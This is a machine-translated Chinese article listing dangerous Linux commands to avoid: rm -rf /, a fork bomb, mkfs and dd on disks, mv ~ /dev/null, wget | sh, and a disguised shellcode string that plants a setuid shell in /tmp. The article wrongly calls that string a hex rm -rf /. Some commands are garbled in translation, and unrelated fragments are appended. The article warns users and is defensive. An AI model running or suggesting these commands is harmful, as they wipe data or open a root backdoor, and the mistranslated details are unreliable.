Linux的終端命令非常強大,如果您執行的命令會破壞系統,Linux不會要求您確認。在網上看到巨魔推薦新的Linux使用者執行這些命令並不是什麼稀奇的事情。
學習不應該執行的命令有助於保護您免受巨魔的攻擊,同時提高您對Linux工作原理的理解。這不是一個詳盡的指南,這裡的命令可以以多種方式混合。
請注意,這些命令中的許多隻有在Ubuntu上加上sudo字首時才是危險的,否則就不能工作。在其他Linux發行版上,大多數命令必須以root使用者身份執行。
圖片來源:傑森·福特在推特上混音的骷髏和十字骨
命令rm-rf/可以刪除所有可能的內容,包括硬碟上的檔案和連線的可移動媒體裝置上的檔案。如果這個命令被破壞了,它更容易理解:
rm – Remove the following files.
-rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.
Linux會很高興地遵守這個命令,刪除所有內容而不提示您,所以使用時要小心!rm命令還可以用於其他危險的方式–rm–rf~將刪除主資料夾中的所有檔案,而rm-rf.*將刪除所有配置檔案。
教訓:當心rm-rf。
下面是另一段遍佈網路的程式碼片段:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
這是rm–rf/的十六進位制版本—執行此命令將清除檔案,就像執行rm–rf/一樣。
教訓:不要執行怪異的,顯然是偽裝的命令,你不明白。
下面這行是一個簡單但危險的bash函式:
:(){ :|: & };:
這一短行定義了一個shell函式,該函式建立自身的新副本。程序不斷地自我複製,其副本也不斷地自我複製,很快就會佔用所有的CPU時間和記憶體。這會導致您的計算機凍結。基本上是拒絕服務攻擊。
教訓:Bash函式很強大,甚至很短。
圖片來源:維基共享空間上的達克
這個mkfs.ext4檔案/dev/sda1命令很容易理解:
mkfs.ext4 – Create a new ext4 file system on the following device.
/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.
總的來說,這個命令相當於在Windows上執行format c:它將擦除第一個分割槽上的檔案,並用新的檔案系統替換它們。
此命令也可以以其他形式出現–mkfs.ext3檔案/dev/sdb2將使用ext3檔案系統格式化第二個硬碟驅動器上的第二個分割槽。
教訓:當心直接在以/dev/sd開頭的硬碟裝置上執行命令。
命令>;/dev/sda行的工作原理類似–它執行一個命令並將該命令的輸出直接傳送到您的第一個硬碟驅動器,將資料直接寫入硬碟驅動器並損壞您的檔案系統。
command – Run a command (can be any command.)
> – Send the output of the command to the following location.
/dev/sda – Write the output of the command directly to the hard disk device.
教訓:如上所述,小心執行以/dev/sd開頭的涉及硬碟裝置的命令。
dd if=/dev/random of=/dev/sda行還將刪除硬碟上的資料。
dd – Perform low-level copying from one location to another.
if=/dev/random – Use /dev/random (random data) as the input – you may also see locati*** such as /dev/zero (zeros).
of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.
教訓:dd將資料從一個位置複製到另一個位置,如果您直接複製到裝置上,這可能會很危險。
圖片來源:Matt Rudge在Flickr上
更新:這是一個常見的誤解,我們是不正確的。儘管網上有很多閒聊,但不可能將檔案和資料夾移動到/dev/null。但是,如果您將有用的資料輸出或重定向到/dev/null,它將被丟棄和銷燬。
/dev/null是另一個特殊的位置–將某個物件移動到/dev/null與銷燬它是一樣的。把/dev/null想象成一個黑洞。實際上,mv~/dev/null會把你所有的個人檔案傳送到一個黑洞中。
mv – Move the following file or directory to another location.
~ – Represents your entire home folder.
/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.
教訓是:~字元代表您的主資料夾,移動到/dev/null會破壞它們。
上面的一行從web下載一個指令碼並將其傳送給sh,sh執行指令碼的內容。如果您不確定指令碼是什麼,或者您不信任它的來源,那麼這可能是危險的—不要執行不受信任的指令碼。
wget – Downloads a file. (You may also see curl in place of wget.)
http://example.com/something – Download the file from this location.
| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
sh – Send the file to the sh command, which executes it if it’s a bash script.
教訓:不要從web上下載和執行不受信任的指令碼,即使使用命令也是如此。
知道新的(有經驗的)Linux使用者不應該執行的任何其他危險命令嗎?留言分享!
...系統下載VirtualBox,並透過GUI啟動安裝程式。如果您喜歡命令列型別: ...
...因為它們也是包管理器。但是,您經常會發現自己是透過命令列安裝的,或者使用TAR檔案安裝的。 ...
...nux是極其複雜的。當然,對於第一次使用的使用者來說,命令列可能有點讓人望而生畏,是的,與使用Windows或Mac相比,有時需要進行更多的調整。最終Linux僅僅是一個作業系統,可以簡單地使用它。 ...
...子皮是很簡單的。但是,最好從桌面運行遊戲,而不是從命令列執行。某些版本中的錯誤會導致無法重新啟動計算機。 ...
...軟體時將獲得)儲存到Pi上的下載目錄。到同一目錄,在命令列中使用wget下載exager: ...
...irefox,然後按“回車”啟動firefox瀏覽器視窗。 相關:8個致命的命令你永遠不應該在Linux上執行
...你,你可能不應該-你可以。為此,請以管理員身份開啟命令提示符或PowerShell視窗。在Windows 10上,右鍵單擊“開始”按鈕並選擇“Windows PowerShell(管理)” 在提示符處鍵入verifier,然後按Enter鍵。 (您也可以在Windows 10上開啟“...
...(或Debian)環境中安裝Linux軟體最簡單的方法是使用apt-get命令。(apt命令也起作用)這個命令從Ubuntu的軟體庫下載並安裝軟體。只需一個命令就可以下載並安裝一個或多個應用程式。 由於這是一個或多或少完整的Ubuntu使用者空...